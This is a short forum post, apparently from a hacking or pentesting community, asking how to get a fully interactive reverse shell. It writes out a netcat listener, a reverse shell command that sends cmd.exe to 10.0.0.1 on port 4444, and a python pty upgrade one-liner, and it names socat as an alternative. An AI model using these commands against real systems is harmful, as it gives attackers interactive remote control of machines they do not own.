since I learned "how to land a shell" the problem was about the interactivity of this shell.
If i setup a netcat listener and then connect to it I can get a simple shell:
nc -lvp 4444
The result is a simple shell, whitout interaction. I can run single command like ping, hostname, dir or net user but i can't run interactive commands like ftp or runas.Code:
nc 10.0.0.1 4444 -e cmd.exe
The problems is the same using windows or linux as target.
Yes, we can use several workarounds like ftp -s option, or calling a python function
but what is the best way?Code:
python -c 'import pty; pty.spawn("/bin/bash");'
The solutions I found are socat (on linux) and a stand alone telnet server for windows.
Anyone with different ways?